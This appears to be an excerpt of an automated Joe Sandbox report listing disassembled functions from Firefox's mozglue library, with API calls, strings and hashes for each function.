
Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction ID: f8fcefda8028ca5365f535d4d4c7275449c6d16ec69aea3a88e6b11d8aaeb7d5
Opcode Fuzzy Hash: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction Fuzzy Hash: 1E51E471E053048BDB01DF68D8446EEB7B4AF69318F84842DE85577780E736E998C7E2

Function 6C9CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA565

Part of subcall function 6C9CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9CA4BE
Part of subcall function 6C9CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9CA6B6

Strings

0, xrefs: 6C9CA5FB
z, xrefs: 6C9CA6AE

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction ID: 39c2075a9108b021f6ccd9e90dc490614a935261fe4c86eba3e5406684d4ba8f
Opcode Fuzzy Hash: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction Fuzzy Hash: E1411571A097459FC341DF28C480A9EBBE5BF99354F408A2EF49987650EB30E649CB83

Function 6C9578C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9D008B), ref: 6C957B89
free.MOZGLUE(?,6C9D008B), ref: 6C957BAC

Part of subcall function 6C9578C0: free.MOZGLUE(?,6C9D008B), ref: 6C957BCF

free.MOZGLUE(?,6C9D008B), ref: 6C957BF2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction ID: 5c69b13714031e60bac5e4748cd1f4d6f840b54876e96ee0871369d76e72af8e
Opcode Fuzzy Hash: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction Fuzzy Hash: BFC1D571E111288BEB24CB28CC90BADB772AF51314F9583A9D41AABBC0C731DF958F51

Function 6C999420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
__Init_thread_footer.LIBCMT ref: 6C99949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C99947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C99946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C999459

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction ID: 0060e0053e48fd227103280c745b42c4851acb221d50019b609d9371d7c825ba
Opcode Fuzzy Hash: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction Fuzzy Hash: 24014C30A049008BDF009B5CD806A4933B99B4673EF1A8537DC0EA7B51D731F5E48957

Function 6C9A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A0F88
GetCurrentThreadId.KERNEL32 ref: 6C9A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C9A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C9A114B

Part of subcall function 6C998AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9B1563), ref: 6C998BD5

free.MOZGLUE(?), ref: 6C9A1174
free.MOZGLUE(?), ref: 6C9A1186

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction ID: 648c00c2e434485eead290350164773a41767400858ae7ae70d9d001ba757811
Opcode Fuzzy Hash: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction Fuzzy Hash: EB61C0756087409BDB10CF65C88079AB7F5BFE6308F14891DE88957711EB31E59ACB82

Function 6C95B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6AC

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C95B61E), ref: 6C95B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B79A

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction ID: b516a2354dfa021fb43a24e7c9b1a939dac2c0a3959cf5535051a4fa64861aff
Opcode Fuzzy Hash: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction Fuzzy Hash: A441B4B2D001159FCB04DF68DC905AEBBB9BF54324F650629E825E7B80E731E9148BE2

Function 6C95EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9D5104), ref: 6C95EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95EFEC
free.MOZGLUE(?), ref: 6C95F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C95F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C95F065
moz_xmalloc.MOZGLUE ref: 6C95F072

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction ID: 146f2bb342db8a7aa6bd0efe71a3012a5e293157081bace1c5bacf8673975fb6
Opcode Fuzzy Hash: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction Fuzzy Hash: 4C41D8B1A001059FCB08CF78D8809BE7769AF94328B240228E825D7794EB31E925C7E1

Function 6C9CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9CB5F4
__Init_thread_footer.LIBCMT ref: 6C9CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9CB61F
std::_Facet_Register.LIBCPMT ref: 6C9CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CB655

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
Instruction ID: 5a51aad46e7618017a0a5dad08e710467d91c62202b3c6104c23169ecf2d6adf
Opcode Fuzzy Hash: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
Instruction Fuzzy Hash: CE319171B04604CBCB00DFA9C8599AEB7F5FF9A325B250519D902A7780DB31F94ACB92

Function 6C969830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9B7ABE), ref: 6C96985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9B7ABE), ref: 6C9698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C969909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C969918
free.MOZGLUE(?), ref: 6C969975

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction ID: 315f7fbe94da587da728d85a16304f4067f99594be10b55fb17a2c376845603a
Opcode Fuzzy Hash: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction Fuzzy Hash: C471AA746047068FD724CF29C480966BBF5FF4A3287254AADE85A8BF90D731F841CB91

Function 6C96B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE), ref: 6C96B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B896

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction ID: 246f456b76d7412a1ea2c0a98076613406390562ee2cffc32c3731d00e4ffd17
Opcode Fuzzy Hash: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction Fuzzy Hash: 3E519C757046008FDB24CF5AC484A2AB7F5FF89318B69859DE98A97B81D731EC01DB80

Function 6C9A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C9A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9A1DDA

Part of subcall function 6C9A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C9A1F03
Part of subcall function 6C9A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C9A1DF2,00000000,00000000), ref: 6C9A1F0C
Part of subcall function 6C9A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C9A1DF4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction ID: 069d8256c4beba576eed91c856fefd64cfa7b12fa5074811dcdac2462626f73d
Opcode Fuzzy Hash: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction Fuzzy Hash: B54145B5204B01DFCB10DF69C488A56BBF9FB99714F20442EE95A87B41CB71F854CB91

Function 6C9638A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,?,6C963899,?), ref: 6C9638B2
ReleaseSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,6C963899,?), ref: 6C9638C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C963899,?), ref: 6C9638F1
RtlFreeHeap.NTDLL ref: 6C963920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C963899,?), ref: 6C96392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C963899,?), ref: 6C963943
RtlFreeHeap.NTDLL ref: 6C96396E

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction ID: f9de067691d91b87a0a44fd442d7e2c6e8e41b5543c4b44dbf52ae36c0791fc8
Opcode Fuzzy Hash: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction Fuzzy Hash: C721BF72600A10DFE7209F26C880B96BBA9FF55328F258469D95A97F90C730E985CB91

Function 6C9984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985AC

Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99767F
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C997693
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985B2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction ID: b7c9933464b9c951249474b6a6b36f53743d4bbb47717c3bf412c8ba39d925c4
Opcode Fuzzy Hash: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction Fuzzy Hash: 48218E742006019FDB18DB28C888A6AB7B9AF9430DF28492DE55BD3B41DB31F958CB56

Function 6C961640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C961699
VerSetConditionMask.NTDLL ref: 6C9616CB
VerSetConditionMask.NTDLL ref: 6C9616D7
VerSetConditionMask.NTDLL ref: 6C9616DE
VerSetConditionMask.NTDLL ref: 6C9616E5
VerSetConditionMask.NTDLL ref: 6C9616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9616F9

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction ID: bba0b897be92b6e228a67421185f6b1bd8524806e54ce4ec3bb1d896e3242523
Opcode Fuzzy Hash: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction Fuzzy Hash: 9821D5B07442086BFB106A65CC45FBBB37CDF96704F044528F645AB6C0C674EE54C6A1

Function 6C99F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
